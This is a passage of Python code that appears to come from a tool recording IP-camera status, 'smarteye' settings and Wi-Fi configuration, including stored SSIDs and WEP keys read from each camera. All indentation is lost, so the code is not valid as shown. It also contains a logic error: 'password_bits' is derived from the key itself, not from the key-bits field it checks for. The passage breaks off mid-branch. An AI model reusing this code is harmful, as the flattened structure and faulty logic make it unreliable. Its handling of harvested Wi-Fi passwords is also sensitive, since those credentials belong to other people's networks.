cam_status = camera.get_status()
if cam_status is not None:
if not cam_status.cmp(status['alias'], status['sys_ver'], status['app_version'], status['oem_id'], status['sdstatus'], status['syswifi_mode']):
Status._create(camera, ts, status['alias'], status['sys_ver'], status['app_version'],
status['oem_id'], status['sdstatus'], status['syswifi_mode'])
else:
Status._create(camera, ts, status['alias'], status['sys_ver'], status['app_version'],
status['oem_id'], status['sdstatus'], status['syswifi_mode'])
if len(smarteye) != 0:
cam_smarteye = camera.get_smarteye()
if cam_smarteye is not None:
if not cam_smarteye.cmp_dict(smarteye):
SmartEye._create_dict(camera, ts, smarteye)
else:
SmartEye._create_dict(camera, ts, smarteye)
if int(params['wifi']['enable']) == 1:
authtype = int(params['wifi']['authtype'])
cam_wifiap = camera.get_wifiap()
if authtype == 0:
if cam_wifiap is not None:
if not cam_wifiap.cmp(params['wifi'].get('ssid', ''), params['wifi']['mode'], 0, False, '', False):
Wifi_AP._create_open(scan, params['wifi'].get(
'ssid', ''), params['wifi']['mode'])
else:
Wifi_AP._create_open(scan, params['wifi'].get(
'ssid', ''), params['wifi']['mode'])
if authtype == 1:
if 'key%s' % (int(params['wifi']['defkey']) + 1) in params['wifi'] and 'key%s_bits' % (int(params['wifi']['defkey']) + 1) in params['wifi']:
password = params['wifi']['key%s' % (
int(params['wifi']['defkey']) + 1)]
password_bits = params['wifi']['key%s' % (
int(params['wifi']['defkey']) + 1)] == 1
if int(params['wifi']['keyformat']) == 0:
if cam_wifiap is not None:
if not cam_wifiap.cmp(params['wifi'].get('ssid', ''), params['wifi']['mode'], 1, params['wifi']['encrypt'] == 1, password, password_bits):
Wifi_AP._create_wep(scan, params['wifi'].get('ssid', ''), params['wifi']['mode'],
params['wifi']['encrypt'] == 1, password, password_bits)
else:
Wifi_AP._create_wep(scan, params['wifi'].get('ssid', ''), params['wifi']['mode'],
params['wifi']['encrypt'] == 1, password, password_bits)
else:
if cam_wifiap is not None:
if not cam_wifiap.cmp(params['wifi'].get('ssid', ''), params['wifi']['mode'], 1, params['wifi']['encrypt'] == 1, codecs.encode(bytearray(password, 'utf-8'), "hex").decode("ascii"), password_bits):
Wifi_AP._create_wep(scan, params['wifi'].get('ssid', ''), params['wifi']['mode'], params['wifi']['encrypt'] == 1,
codecs.encode(bytearray(password, 'utf-8'), "hex").decode("ascii"), password_bits)
else: